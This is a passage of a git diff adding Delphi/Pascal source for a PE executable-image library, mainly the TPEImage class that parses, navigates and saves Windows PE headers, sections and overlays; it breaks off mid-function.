TPEImage(APE); + // Ensure we have all needed values set. + PE.Defaults.SetAll; + + if not SaveHeaders(PE, AStream, SavingModifiedImage) then + exit; + + // write sec hdr gap + DoSecHdrGap(PE, AStream); + + // write sec data + DoSecData(PE, AStream); + + Result := true; +end; + +end. diff --git a/Core/PE/PE.Image.pas b/Core/PE/PE.Image.pas new file mode 100755 index 0000000..c209945 --- /dev/null +++ b/Core/PE/PE.Image.pas @@ -0,0 +1,1876 @@ +unit PE.Image; + +interface + +uses + Classes, + SysUtils, + Generics.Collections, + + PE.Common, + PE.Headers, + PE.DataDirectories, + + PE.Msg, + PE.Utils, + + PE.Image.Defaults, + PE.Image.Saving, + + PE.Types, + PE.Types.DOSHeader, + PE.Types.Directories, + PE.Types.FileHeader, + PE.Types.NTHeaders, + PE.Types.Sections, + PE.Types.Relocations, + PE.Types.Imports, + PE.Types.Export, + + PE.ExportSym, + + PE.TLS, + PE.Section, + PE.Sections, + PE.Imports, + PE.Resources, + + PE.Parser.Headers, + PE.Parser.Export, + PE.Parser.Import, + PE.Parser.ImportDelayed, + PE.Parser.Relocs, + PE.Parser.TLS, + PE.Parser.Resources, + + PE.COFF, + PE.COFF.Types, + + //PE.MemoryStream, + //PE.ProcessModuleStream, + + PE.ParserCallbacks; + +type + + { TPEImage } + + TPEImage = class + private + FImageKind: TPEImageKind; + FParseStages: TParserFlags; + FParseCallbacks: IPEParserCallbacks; + FOptions: TParserOptions; + + // Used only for loading from mapped image. Nil for disk images. + //FPEMemoryStream: TPEMemoryStream; + + FFileName: string; + FFileSize: UInt64; + FDefaults: TPEDefaults; + FImageBitSize: byte; // 32/64 + FImageWordSize: byte; // 4/8 + + FCOFF: TCOFF; + + FDosHeader: TImageDOSHeader; // DOS header. + FLFANew: uint32; // Address of new header next after DOS. + FDosBlock: TBytes; // Bytes between DOS header and next header. + FSecHdrGap: TBytes; // Gap after section headers. + + FFileHeader: TImageFileHeader; + FOptionalHeader: TPEOptionalHeader; + + FSections: TPESections; + FRelocs: TRelocs; + FImports: TPEImport; // of TPEImportFunction + FImportsDelayed: TPEImport; // of TPEImportFunctionDelayed + FExports: TPEExportSyms; + FExportedName: String; + FTLS: TTLS; + FResourceTree: TResourceTree; + FOverlay: TOverlay; + + FParsers: array [TParserFlag] of TPEParserClass; + FMsg: TMsgMgr; + FDataDirectories: TDataDirectories; + private + // Used for read/write. + FCurrentSec: TPESection; // Current section. + FPositionRVA: TRVA; // Current RVA. + FCurrentOfs: uint32; // Current offset in section. + + procedure SetPositionRVA(const Value: TRVA); + + procedure SetPositionVA(const Value: TVA); + function GetPositionVA: TVA; + + function ReadWrite(Buffer: Pointer; Count: cardinal; Read: boolean): uint32; + private + // Add new section to have range of addresses for image header. + procedure LoadingAddHeaderAsASection(Stream: TStream); + private + + { Notifiers } + procedure DoReadError; + + { Parsers } + procedure InitParsers; + + { Base loading } + function LoadSectionHeaders(AStream: TStream): boolean; + function LoadSectionData(AStream: TStream): UInt16; + + // Replace /%num% to name from COFF string table. + procedure ResolveSectionNames; + + function GetImageBase: TRVA; inline; + procedure SetImageBase(Value: TRVA); inline; + + function GetSizeOfImage: UInt64; inline; + procedure SetSizeOfImage(Value: UInt64); inline; + + function EntryPointRVAGet: TRVA; inline; + procedure EntryPointRVASet(Value: TRVA); inline; + + function FileAlignmentGet: uint32; inline; + procedure FileAlignmentSet(const Value: uint32); inline; + + function SectionAlignmentGet: uint32; inline; + procedure SectionAlignmentSet(const Value: uint32); inline; + + function GetFileHeader: PImageFileHeader; inline; + function GetImageDOSHeader: PImageDOSHeader; inline; + function GetOptionalHeader: PPEOptionalHeader; inline; + + function GetIsDll: boolean; + procedure SetIsDll(const Value: boolean); + + protected + + // If image is disk-based, result is created TFileStream. + // If it's memory mapped, result is opened memory stream. + function SourceStreamGet(Mode: word): TStream; + + // If image is disk-based, stream is freed. + // If it's memory mapped, nothing happens. + procedure SourceStreamFree(Stream: TStream); + + public + + // Create without message proc. + constructor Create(); overload; + + // Create with message proc. + constructor Create(AMsgProc: TMsgProc); overload; + + destructor Destroy; override; + + // Check if stream at offset Ofs is MZ/PE image. + // Result is False if either failed to make check or it's not valid image. + class function IsPE(AStream: TStream; Ofs: UInt64 = 0): boolean; overload; static; + + // Check if file is PE. + class function IsPE(const FileName: string): boolean; overload; static; + + // Check if image is 32/64 bit. + function Is32bit: boolean; inline; + function Is64bit: boolean; inline; + + // Get image bitness. 32/64 or 0 if unknown. + function GetImageBits: UInt16; inline; + procedure SetImageBits(Value: UInt16); + + { PE Streaming } + + // Seek RVA or VA and return True on success. + function SeekRVA(RVA: TRVA): boolean; + function SeekVA(VA: TVA): boolean; + + + // Read Count bytes from current RVA/VA position to Buffer and + // return number of bytes read. + // It cannot read past end of section. + function Read(Buffer: Pointer; Count: cardinal): uint32; overload; + function Read(var Buffer; Count: cardinal): uint32; overload; inline; + + // Read Count bytes to Buffer and return True if all bytes were read. + function ReadEx(Buffer: Pointer; Count: cardinal): boolean; overload; inline; + function ReadEx(var Buffer; Size: cardinal): boolean; overload; inline; + + // Read 1/2/4/8-sized word. + // If WordSize is 0 size native to image is used (4 for PE32, 8 for PE64). + function ReadWord(WordSize: byte = 0): UInt64; + + // Try to read 1/2/4/8-sized word. + // Result shows if all bytes are read. + function ReadWordEx(WordSize: byte; OutValue: PUInt64): boolean; + + // Skip Count bytes. + procedure Skip(Count: integer); + + // Read 1-byte 0-terminated string. + function ReadAnsiString: String; + + // MaxLen: 0 - no limit + function ReadAnsiStringLen(MaxLen: integer; out Len: integer; out Str: string): boolean; + + // Read 2-byte UTF-16 string with length prefix (2 bytes). + function ReadUnicodeStringLenPfx2: String; + + // Reading values. + // todo: these functions should be Endianness-aware. + function ReadUInt8: UInt8; overload; inline; + function ReadUInt16: UInt16; overload; inline; + function ReadUInt32: uint32; overload; inline; + function ReadUInt64: UInt64; overload; inline; + function ReadUIntPE: UInt64; overload; inline; // 64/32 depending on PE format. + + function ReadUInt8(OutData: PUInt8): boolean; overload; inline; + function ReadUInt16(OutData: PUInt16): boolean; overload; inline; + function ReadUInt32(OutData: PUInt32): boolean; overload; inline; + function ReadUInt64(OutData: PUInt64): boolean; overload; inline; + function ReadUIntPE(OutData: PUInt64): boolean; overload; inline; // 64/32 depending on PE format. + + // Write Count bytes from Buffer to current position. + function Write(Buffer: Pointer; Count: cardinal): uint32; overload; + function Write(const Buffer; Count: cardinal): uint32; overload; + + function WriteEx(Buffer: Pointer; Count: cardinal): boolean; overload; inline; + function WriteEx(const Buffer; Count: cardinal): boolean; overload; inline; + + { Address conversions } + + // Check if RVA exists. + function RVAExists(RVA: TRVA): boolean; + + // Convert RVA to memory pointer. + function RVAToMem(RVA: TRVA): Pointer; + + // Convert RVA to file offset. OutOfs can be nil. + function RVAToOfs(RVA: TRVA; OutOfs: PDword): boolean; + + // Find Section by RVA. OutSec can be nil. + function RVAToSec(RVA: TRVA; OutSec: PPESection): boolean; + + // Convert RVA to VA. + function RVAToVA(RVA: TRVA): TVA; inline; + + // Check if VA exists. + function VAExists(VA: TRVA): boolean; + + // Convert VA to memory pointer. + function VAToMem(VA: TVA): Pointer; inline; + + // Convert VA to file offset. OutOfs can be nil. + function VAToOfs(VA: TVA; OutOfs: PDword): boolean; inline; + + // Find Section by VA. OutSec can be nil. + function VAToSec(VA: TRVA; OutSec: PPESection): boolean; + + // Convert VA to RVA. + // Make sure VA is >= ImageBase. + function VAToRVA(VA: TVA): TRVA; inline; + + // Check if RVA/VA belongs to image. + function ContainsRVA(RVA: TRVA): boolean; inline; + function ContainsVA(VA: TVA): boolean; inline; + + { Image } + + // Clear image. + procedure Clear; + + // Calculate not aligned size of headers. + function CalcHeadersSizeNotAligned: uint32; inline; + + // Calculate valid aligned size of image. + function CalcVirtualSizeOfImage: UInt64; inline; + + // Calc raw size of image (w/o overlay), or 0 if failed. + // Can be used if image loaded from stream and exact image size is unknown. + // Though we still don't know overlay size. + function CalcRawSizeOfImage: UInt64; inline; + + // Calc offset of section headers. + function CalcSecHdrOfs: TFileOffset; + + // Calc offset of section headers end. + function CalcSecHdrEndOfs: TFileOffset; + + // Calc size of optional header w/o directories. + function CalcSizeOfPureOptionalHeader: uint32; + + // Set aligned SizeOfHeaders. + procedure FixSizeOfHeaders; inline; + + // Set valid size of image. + procedure FixSizeOfImage; inline; + + { Loading } + + // Load image from stream. + function LoadFromStream(AStream: TStream; + AParseStages: TParserFlags = DEFAULT_PARSER_FLAGS; + ImageKind: TPEImageKind = PEIMAGE_KIND_DISK): boolean; + + // Load image from file. + function LoadFromFile(const AFileName: string; + AParseStages: TParserFlags = DEFAULT_PARSER_FLAGS): boolean; + + // Load PE image from image in memory of current process. + // Won't help if image in memory has spoiled headers. + //function LoadFromMappedImage(const AFileName: string; + //AParseStages: TParserFlags = DEFAULT_PARSER_FLAGS): boolean; overload; + //function LoadFromMappedImage(ModuleBase: NativeUInt; + //AParseStages: TParserFlags = DEFAULT_PARSER_FLAGS): boolean; overload; + + // Load PE image from running process. + // Address defines module to load. + //function LoadFromProcessImage(ProcessId: DWORD; Address: NativeUInt; + //AParseStages: TParserFlags = DEFAULT_PARSER_FLAGS): boolean; + + { Saving } + + // Save image to stream. + function SaveToStream(AStream: TStream; SavingModifiedImage : Boolean = False): boolean; + + // Save image to file. + function SaveToFile(const AFileName: string): boolean; + + { Sections } + + // Get last section containing raw offset and size. + // Get nil if no good section found. + function GetLastSectionWithValidRawData: TPESection; + + { Overlay } + + // Get overlay record pointer. + function GetOverlay: POverlay; + + // Save overlay to file. It can be either appended to existing file or new + // file will be created. + function SaveOverlayToFile(const AFileName: string; Append: boolean = false): boolean; + + // Remove overlay from current image file. + function RemoveOverlay: boolean; + + // Set overlay for current image file from file data of AFileName file. + // If Offset and Size are 0, then whole file is appended. + function LoadOverlayFromFile(const AFileName: string; + Offset: UInt64 = 0; Size: UInt64 = 0): boolean; overload; + + { Writing to external stream } + + // Write RVA to stream (32/64 bit sized depending on image). + function StreamWriteRVA(AStream: TStream; RVA: TRVA): boolean; + + { Dump } + + // Save memory region to stream/file (in section boundary). + // Result is number of bytes written. + // If trying to save more bytes than section contains it will save until + // section end. + // AStream can be nil if you want just check how many bytes can be saved. + // todo: maybe also add cross-section dumps. + function SaveRegionToStream(AStream: TStream; RVA: TRVA; Size: uint32): uint32; + function SaveRegionToFile(const AFileName: string; RVA: TRVA; Size: uint32): uint32; + + // Load data from Stream at Offset to memory. RVA and Size must define region + // that completely fit into some section. If region is larger than file or + // section it is truncated. + // ReadSize is optional param to get number of bytes read. + function LoadRegionFromStream(AStream: TStream; Offset: UInt64; RVA: TRVA; Size: uint32; ReadSize: PUInt32 = nil): boolean; + function LoadRegionFromFile(const AFileName: string; Offset: UInt64; RVA: TRVA; Size: uint32; ReadSize: PUInt32 = nil): boolean; + + { Regions } + + procedure RegionRemove(RVA: TRVA; Size: uint32); + + // Check if region belongs to some section and has enough raw/virtual size. + function RegionExistsRaw(RVA: TRVA; RawSize: uint32): boolean; + function RegionExistsVirtual(RVA: TRVA; VirtSize: uint32): boolean; + + { Properties } + + property Msg: TMsgMgr read FMsg; + + property Defaults: TPEDefaults read FDefaults; + + property ImageBitSize: byte read FImageBitSize; + property ImageWordSize: byte read FImageWordSize; + + property ParseCallbacks: IPEParserCallbacks read FParseCallbacks write FParseCallbacks; + + // Current read/write position. + property PositionRVA: TRVA read FPositionRVA write SetPositionRVA; + property PositionVA: TVA read GetPositionVA write SetPositionVA; + + property ImageKind: TPEImageKind read FImageKind; + property FileName: string read FFileName; + + // Offset of NT headers, used building new image. + property LFANew: uint32 read FLFANew write FLFANew; + property DosBlock: TBytes read FDosBlock; + property SecHdrGap: TBytes read FSecHdrGap; + + // Headers. + property DOSHeader: PImageDOSHeader read GetImageDOSHeader; + property FileHeader: PImageFileHeader read GetFileHeader; + property OptionalHeader: PPEOptionalHeader read GetOptionalHeader; + + // Directories. + property DataDirectories: TDataDirectories read FDataDirectories; + + // Image sections. + property Sections: TPESections read FSections; + + // Relocations. + property Relocs: TRelocs read FRelocs; + + // Import items. + property Imports: TPEImport read FImports; + property ImportsDelayed: TPEImport read FImportsDelayed; + + // Export items. + property ExportSyms: TPEExportSyms read FExports; + + // Image exported name. + property ExportedName: String read FExportedName write FExportedName; + + // Thread Local Storage items. + property TLS: TTLS read FTLS; + + // Resource items. + property ResourceTree: TResourceTree read FResourceTree; + + property ImageBase: TRVA read GetImageBase write SetImageBase; + property SizeOfImage: UInt64 read GetSizeOfImage write SetSizeOfImage; + + // 32/64 + property ImageBits: UInt16 read GetImageBits write SetImageBits; + + property EntryPointRVA: TRVA read EntryPointRVAGet write EntryPointRVASet; + property FileAlignment: uint32 read FileAlignmentGet write FileAlignmentSet; + property SectionAlignment: uint32 read SectionAlignmentGet write SectionAlignmentSet; + + property IsDLL: boolean read GetIsDll write SetIsDll; + + property Options: TParserOptions read FOptions write FOptions; + end; + +implementation + +const + VM_PAGE_SIZE = $1000; // 4 KB page + + { TPEImage } + +function TPEImage.EntryPointRVAGet: TRVA; +begin + Result := FOptionalHeader.AddressOfEntryPoint; +end; + +procedure TPEImage.EntryPointRVASet(Value: TRVA); +begin + FOptionalHeader.AddressOfEntryPoint := Value; +end; + +function TPEImage.GetImageBase: TRVA; +begin + Result := FOptionalHeader.ImageBase; +end; + +procedure TPEImage.SetImageBase(Value: TRVA); +begin + FOptionalHeader.ImageBase := Value; +end; + +function TPEImage.GetSizeOfImage: UInt64; +begin + Result := FOptionalHeader.SizeOfImage; +end; + +procedure TPEImage.SetSizeOfImage(Value: UInt64); +begin + FOptionalHeader.SizeOfImage := Value; +end; + +function TPEImage.StreamWriteRVA(AStream: TStream; RVA: TRVA): boolean; +var + rva32: uint32; + rva64: UInt64; +begin + if Is32bit then + begin + rva32 := RVA; + Result := AStream.Write(rva32, 4) = 4; + exit; + end; + if Is64bit then + begin + rva64 := RVA; + Result := AStream.Write(rva64, 8) = 8; + exit; + end; + exit(false); +end; + +constructor TPEImage.Create; +begin + Create(nil); +end; + +constructor TPEImage.Create(AMsgProc: TMsgProc); +begin + FOptions := DEFAULT_OPTIONS; + FMsg := TMsgMgr.Create(AMsgProc); + FDefaults := TPEDefaults.Create(self); + + FDataDirectories := TDataDirectories.Create(self); + + FSections := TPESections.Create(self); + + FRelocs := TRelocs.Create; + + FImports := TPEImport.Create; + FImportsDelayed := TPEImport.Create; + + FExports := TPEExportSyms.Create; + + FTLS := TTLS.Create; + + FResourceTree := TResourceTree.Create; + + FCOFF := TCOFF.Create(self); + + InitParsers; + + FDefaults.SetAll; +end; + +procedure TPEImage.Clear; +begin + if FImageKind = PEIMAGE_KIND_MEMORY then + raise Exception.Create('Can''t clear mapped in-memory image.'); + + FLFANew := 0; + SetLength(FDosBlock, 0); + SetLength(FSecHdrGap, 0); + + FCOFF.Clear; + FDataDirectories.Clear; + FSections.Clear; + FImports.Clear; + FImportsDelayed.Clear; + FExports.Clear; + FTLS.Clear; + FResourceTree.Clear; +end; + +function TPEImage.ContainsRVA(RVA: TRVA): boolean; +begin + if FSections.Count = 0 then + raise Exception.Create('Image contains no sections.'); + Result := (RVA >= FSections.First.RVA) and (RVA < FSections.Last.GetEndRVA); +end; + +function TPEImage.ContainsVA(VA: TVA): boolean; +begin + Result := (VA >= ImageBase) and ContainsRVA(VAToRVA(VA)); +end; + +destructor TPEImage.Destroy; +begin + //FPEMemoryStream.Free; + FResourceTree.Free; + FTLS.Free; + FExports.Free; + FImports.Free; + FImportsDelayed.Free; + FRelocs.Free; + FSections.Free; + FDataDirectories.Free; + FCOFF.Free; + inherited Destroy; +end; + +procedure TPEImage.DoReadError; +begin + raise Exception.Create('Read Error.'); +end; + +function TPEImage.SaveRegionToStream(AStream: TStream; RVA: TRVA; Size: uint32): uint32; +const + BUFSIZE = 8192; +var + Sec: TPESection; + Ofs, TmpSize: uint32; + pCur: PByte; +begin + if not RVAToSec(RVA, @Sec) then + exit(0); + + Ofs := RVA - Sec.RVA; // offset to read from + + // If end position is over section end then override size to read until end + // of section. + if Ofs + Size > Sec.GetAllocatedSize then + Size := Sec.GetAllocatedSize - Ofs; + + Result := Size; + + if Assigned(AStream) then + begin + pCur := Sec.Mem + Ofs; // memory to read from + + while Size <> 0 do + begin + if Size >= BUFSIZE then + TmpSize := BUFSIZE + else + TmpSize := Size; + AStream.Write(pCur^, TmpSize); + inc(pCur, TmpSize); + dec(Size, TmpSize); + end; + end; +end; + +function TPEImage.SaveRegionToFile(const AFileName: string; RVA: TRVA; Size: uint32): uint32; +var + fs: TFileStream; +begin + fs := TFileStream.Create(AFileName, fmCreate); + try + Result := SaveRegionToStream(fs, RVA, Size); + finally + fs.Free; + end; +end; + +function TPEImage.LoadRegionFromStream(AStream: TStream; Offset: UInt64; RVA: TRVA; Size: uint32; ReadSize: PUInt32): boolean; +var + Sec: TPESection; + p: PByte; + ActualSize: uint32; +begin + if Size = 0 then + exit(true); + if Offset >= AStream.Size then + exit(false); + if (Offset + Size) > AStream.Size then + Size := AStream.Size - Offset; + if not RVAToSec(RVA, @Sec) then + exit(false); + if (RVA + Size) > Sec.GetEndRVA then + Size := Sec.GetEndRVA - RVA; + + AStream.Position := Offset; + + p := Sec.Mem + (RVA - Sec.RVA); + ActualSize := AStream.Read(p^, Size); + + if Assigned(ReadSize) then + ReadSize^ := ActualSize; + + exit(true); +end; + +function TPEImage.LoadRegionFromFile(const AFileName: string; Offset: UInt64; RVA: TRVA; Size: uint32; ReadSize: PUInt32): boolean; +var + fs: TFileStream; +begin + fs := TFileStream.Create(AFileName, fmOpenRead or fmShareDenyWrite); + try + Result := LoadRegionFromStream(fs, Offset, RVA, Size, ReadSize); + finally + fs.Free; + end; +end; + +procedure TPEImage.InitParsers; +begin + FParsers[PF_EXPORT] := TPEExportParser; + FParsers[PF_IMPORT] := TPEImportParser; + FParsers[PF_IMPORT_DELAYED] := TPEImportDelayedParser; + FParsers[PF_RELOCS] := TPERelocParser; + FParsers[PF_TLS] := TPETLSParser; + FParsers[PF_RESOURCES] := TPEResourcesParser; +end; + +function TPEImage.CalcHeadersSizeNotAligned: uint32; +begin + Result := CalcSecHdrEndOfs; +end; + +procedure TPEImage.FixSizeOfHeaders; +begin + FOptionalHeader.SizeOfHeaders := + AlignUp(CalcHeadersSizeNotAligned, FileAlignment); +end; + +function TPEImage.CalcVirtualSizeOfImage: UInt64; +begin + with FSections do + begin + if Count <> 0 then + Result := AlignUp(Last.RVA + Last.VirtualSize, SectionAlignment) + else + Result := AlignUp(CalcHeadersSizeNotAligned, SectionAlignment); + end; +end; + +function TPEImage.CalcRawSizeOfImage: UInt64; +var + Last: TPESection; +begin + Last := GetLastSectionWithValidRawData; + if (Last <> nil) then + Result := Last.GetEndRawOffset + else + Result := 0; +end; + +procedure TPEImage.FixSizeOfImage; +begin + SizeOfImage := CalcVirtualSizeOfImage; +end; + +function TPEImage.CalcSecHdrOfs: TFileOffset; +var + SizeOfPureOptionalHeader: uint32; +begin + SizeOfPureOptionalHeader := CalcSizeOfPureOptionalHeader(); + Result := + FLFANew + + 4 + + SizeOf(TImageFileHeader) + + SizeOfPureOptionalHeader + + FDataDirectories.Count * SizeOf(TImageDataDirectory); +end; + +function TPEImage.CalcSecHdrEndOfs: TFileOffset; +begin + Result := CalcSecHdrOfs + FSections.Count * SizeOf(TImageSectionHeader); +end; + +function TPEImage.CalcSizeOfPureOptionalHeader: uint32; +begin + Result := FOptionalHeader.CalcSize(ImageBits); +end; + +function TPEImage.GetFileHeader: PImageFileHeader; +begin + Result := @self.FFileHeader; +end; + +function TPEImage.LoadSectionHeaders(AStream: TStream): boolean; +var + Sec: TPESection; + i: integer; + sh: TImageSectionHeader; + NumberOfSections: UInt16; + SizeOfHeader, SizeOfHeaderMapped: uint32; + HeaderList: TList<TImageSectionHeader>; + VSizeToBeMapped: uint32; + CorrectRawDataPositions: integer; + StreamSize: UInt64; + SecNameOldHex: string; +begin + NumberOfSections := FFileHeader.NumberOfSections; + + // Header comes from offset: 0 to SizeOfHeader + SizeOfHeader := CalcHeadersSizeNotAligned; + SizeOfHeaderMapped := AlignUp(SizeOfHeader, VM_PAGE_SIZE); + + FSections.Clear; // it clears FFileHeader.NumberOfSections + + if NumberOfSections = 0 then + begin + Msg.Write(SCategorySections, 'There are no sections in the image'); + exit(true); + end; + + HeaderList := TList<TImageSectionHeader>.Create; + try + // ------------------------------------------------------------------------- + // Load section headers. + CorrectRawDataPositions := 0; + StreamSize := AStream.Size; + for i := 1 to NumberOfSections do + begin + if not StreamRead(AStream, sh, SizeOf(sh)) then + break; + + if (sh.SizeOfRawData = 0) or (sh.PointerToRawData < AStream.Size) then + begin + inc(CorrectRawDataPositions); + HeaderList.Add(sh); + end + else + Msg.Write(SCategorySections, 'Raw data is outside of stream (0x%x>0x%x). Skipped.', [sh.PointerToRawData, StreamSize]); + end; + + if CorrectRawDataPositions = 0 then + begin + Msg.Write(SCategorySections, 'No good raw data positions found.'); + exit(false); + end + else if CorrectRawDataPositions <> NumberOfSections then + begin + Msg.Write(SCategorySections, '%d of %d sections contain correct raw data positions.', [CorrectRawDataPositions, NumberOfSections]); + end; + + // ------------------------------------------------------------------------- + // Check section count. + if HeaderList.Count <> NumberOfSections then + FMsg.Write(SCategorySections, 'Found %d of %d section headers.', [HeaderList.Count, NumberOfSections]); + + // ------------------------------------------------------------------------- + for i := 0 to HeaderList.Count - 1 do + begin + sh := HeaderList[i]; + + if sh.SizeOfRawData <> 0 then + begin + // If section data points into header. + if (sh.PointerToRawData < SizeOfHeader) then + begin + Msg.Write(SCategorySections, 'Section # %d is inside of headers', [i]); + + // Headers are always loaded at image base with + // RawSize = SizeOfHeaders + // VirtualSize = SizeOfHeaderMapped + + // Override section header. + sh.PointerToRawData := 0; + sh.SizeOfRawData := Min(sh.SizeOfRawData, FFileSize, SizeOfHeaderMapped); + sh.VirtualSize := SizeOfHeaderMapped; + end; + end; + + if (sh.VirtualSize = 0) and (sh.SizeOfRawData = 0) then + begin + Msg.Write(SCategorySections, 'Section # %d has vsize and rsize = 0, skipping it', [i]); + continue; + end; + + if (sh.SizeOfRawData > sh.VirtualSize) then + begin + // Correct virtual size to be sure all raw data will be loaded. + VSizeToBeMapped := AlignUp(sh.VirtualSize, VM_PAGE_SIZE); + sh.VirtualSize := PE.Utils.Min(sh.SizeOfRawData, VSizeToBeMapped); + end; + + { + * Raw size can be 0 . + * Virtual size can't be 0 as it won't be mapped . + } + + if sh.VirtualSize = 0 then + begin + Msg.Write(SCategorySections, 'Section # %d has vsize = 0', [i]); + if PO_SECTION_VSIZE_FALLBACK in FOptions then + begin + sh.VirtualSize := AlignUp(sh.SizeOfRawData, SectionAlignment); + end + else + begin + Msg.Write(SCategorySections, 'Option to fallback to RSize isn''t included, skipping'); + continue; + end; + end; + + Sec := TPESection.Create(sh, nil, @FMsg); + + if Sec.Name.IsEmpty or (not IsAlphaNumericString(Sec.Name)) then + begin + if PO_SECTION_AUTORENAME_NON_ALPHANUMERIC in FOptions then + begin + SecNameOldHex := Sec.NameAsHex; + Sec.Name := format('sec_%4.4x', [i]); + Msg.Write(SCategorySections, 'Section name can be garbage (hex: %s). Overriding to %s', [SecNameOldHex, Sec.Name]); + end; + end; + + FSections.Add(Sec); // changes FFileHeader.NumberOfSections + end; + finally + HeaderList.Free; + end; + + exit(true); +end; + +function TPEImage.LoadSectionData(AStream: TStream): UInt16; +var + i: integer; + Sec: TPESection; +begin + Result := 0; + // todo: check if section overlaps existing sections. + for i := 0 to FSections.Count - 1 do + begin + Sec := FSections[i]; + + // Process only normal sections. + // Section like "image header" is skipped. + if Sec.ClassType = TPESection then + begin + if FImageKind = PEIMAGE_KIND_DISK then + begin + if Sec.LoadDataFromStream(AStream) then + inc(Result); + end + else + begin + if Sec.LoadDataFromStreamEx(AStream, Sec.RVA, Sec.VirtualSize) then + inc(Result); + end; + end; + end; +end; + +procedure TPEImage.ResolveSectionNames; +var + StringOfs, err: integer; + Sec: TPESection; + t: string; +begin + for Sec in FSections do + begin + if Sec.Name.StartsWith('/') then + begin + val(Sec.Name.Substring(1), StringOfs, err); + if (err = 0) and (FCOFF.GetString(StringOfs, t)) and (not t.IsEmpty) then + Sec.Name := t; // long name from COFF strings + end; + end; +end; + +function TPEImage.Is32bit: boolean; +begin + Result := FOptionalHeader.Magic = PE_MAGIC_PE32; +end; + +function TPEImage.Is64bit: boolean; +begin + Result := FOptionalHeader.Magic = PE_MAGIC_PE32PLUS; +end; + +class function TPEImage.IsPE(const FileName: string): boolean; +var + Stream: TFileStream; +begin + Stream := TFileStream.Create(FileName, fmOpenRead or fmShareDenyWrite); + try + Result := TPEImage.IsPE(Stream); + finally + Stream.Free; + end; +end; + +class function TPEImage.IsPE(AStream: TStream; Ofs: UInt64): boolean; +var + dos: TImageDOSHeader; + peSig: TNTSignature; +begin + if not StreamSeek(AStream, Ofs) then + exit(false); + + if StreamRead(AStream, dos, SizeOf(dos)) then + if dos.e_magic.IsMZ then + begin + Ofs := Ofs + dos.e_lfanew; + if Ofs >= AStream.Size then + exit(false); + if StreamSeek(AStream, Ofs) then + if StreamRead(AStream, peSig, SizeOf(peSig)) then + exit(peSig.IsPE00); + end; + exit(false); +end; + +function TPEImage.GetImageBits: UInt16; +begin + Result := FImageBitSize; +end; + +function TPEImage.GetImageDOSHeader: PImageDOSHeader; +begin + Result := @self.FDosHeader; +end; + +procedure TPEImage.SetImageBits(Value: UInt16); +begin + case Value of + 32: + FOptionalHeader.Magic := PE_MAGIC_PE32; + 64: + FOptionalHeader.Magic := PE_MAGIC_PE32PLUS; + else + begin + FOptionalHeader.Magic := 0; + raise Exception.Create('Value unsupported.'); + end; + end; + FImageBitSize := Value; + FImageWordSize := Value div 8; +end; + +procedure TPEImage.SetPositionRVA(const Value: TRVA); +begin + if not SeekRVA(Value) then + raise Exception.CreateFmt('Invalid RVA position (0x%x)', [Value]); +end; + +procedure TPEImage.SetPositionVA(const Value: TVA); +begin + SetPositionRVA(VAToRVA(Value)); +end; + +function TPEImage.GetPositionVA: TVA; +begin + Result := RVAToVA(FPositionRVA); +end; + +function TPEImage.GetIsDll: boolean; +begin + Result := (FFileHeader.Characteristics and IMAGE_FILE_DLL) <> 0; +end; + +procedure TPEImage.SetIsDll(const Value: boolean); +begin + if Value then + FFileHeader.Characteristics := FFileHeader.Characteristics or IMAGE_FILE_DLL + else + FFileHeader.Characteristics := FFileHeader.Characteristics and (not IMAGE_FILE_DLL); +end; + +function TPEImage.FileAlignmentGet: uint32; +begin + Result := FOptionalHeader.FileAlignment; +end; + +procedure TPEImage.FileAlignmentSet(const Value: uint32); +begin + FOptionalHeader.FileAlignment := Value; +end; + +function TPEImage.SectionAlignmentGet: uint32; +begin + Result := FOptionalHeader.SectionAlignment; +end; + +procedure TPEImage.SectionAlignmentSet(const Value: uint32); +begin + FOptionalHeader.SectionAlignment := Value; +end; + +function TPEImage.SeekRVA(RVA: TRVA): boolean; +begin + // Section. + if not RVAToSec(RVA, @FCurrentSec) then + exit(false); + + // RVA/Offset. + FPositionRVA := RVA; + FCurrentOfs := FPositionRVA - FCurrentSec.RVA; + + exit(true); +end; + +function TPEImage.SeekVA(VA: TVA): boolean; +begin + Result := (VA >= ImageBase) and SeekRVA(VAToRVA(VA)); +end; + +procedure TPEImage.Skip(Count: integer); +begin + inc(FPositionRVA, Count); +end; + +procedure TPEImage.SourceStreamFree(Stream: TStream); +begin + if FImageKind = PEIMAGE_KIND_DISK then + Stream.Free; +end; + +function TPEImage.SourceStreamGet(Mode: word): TStream; +begin + //if FImageKind = PEIMAGE_KIND_DISK then + Result := TFileStream.Create(FFileName, Mode) + //else + //Result := FPEMemoryStream; +end; + +function TPEImage.ReadWord(WordSize: byte): UInt64; +begin + if not ReadWordEx(WordSize, @Result) then + raise Exception.Create('Read error'); +end; + +function TPEImage.ReadWordEx(WordSize: byte; OutValue: PUInt64): boolean; +var + tmp: UInt64; +begin + case WordSize of + 0: + WordSize := FImageWordSize; + 1, 2, 4, 8: + ; // allowed size + else + raise Exception.Create('Unsupported word size for ReadWord'); + end; + + tmp := 0; + Result := ReadEx(tmp, WordSize); + + if Assigned(OutValue) then + OutValue^ := tmp; +end; + +procedure TPEImage.RegionRemove(RVA: TRVA; Size: uint32); +begin + // Currently it's just placeholder. + // Mark memory as free. + FSections.FillMemory(RVA, Size, $CC); +end; + +function TPEImage.RegionExistsRaw(RVA: TRVA; RawSize: uint32): boolean; +var + Sec: TPESection; + Ofs: uint32; +begin + if not RVAToSec(RVA, @Sec) then + exit(false); + Ofs := RVA - Sec.RVA; + Result := Ofs + RawSize <= Sec.RawSize; +end; + +function TPEImage.RegionExistsVirtual(RVA: TRVA; VirtSize: uint32): boolean; +var + Sec: TPESection; + Ofs: uint32; +begin + if not RVAToSec(RVA, @Sec) then + exit(false); + Ofs := RVA - Sec.RVA; + Result := Ofs + VirtSize <= Sec.VirtualSize; +end; + +function TPEImage.ReadWrite(Buffer: Pointer; Count: cardinal; Read: boolean): uint32; +begin + // If count is 0 or no valid position was set we cannot do anything. + if (Count = 0) or (not Assigned(FCurrentSec)) then + exit(0); + + // Check how many bytes we can process. + Result := Min(Count, FCurrentSec.AllocatedSize - FCurrentOfs); + if Result = 0 then + exit; + + if Assigned(Buffer) then + begin + if Read then + Move(FCurrentSec.Mem[FCurrentOfs], Buffer^, Result) + else + Move(Buffer^, FCurrentSec.Mem[FCurrentOfs], Result); + end; + + // Move next. + inc(FPositionRVA, Result); + inc(FCurrentOfs, Result); +end; + +function TPEImage.Read(Buffer: Pointer; Count: cardinal): uint32; +begin + Result := ReadWrite(Buffer, Count, true); +end; + +function TPEImage.Read(var Buffer; Count: cardinal): uint32; +begin + 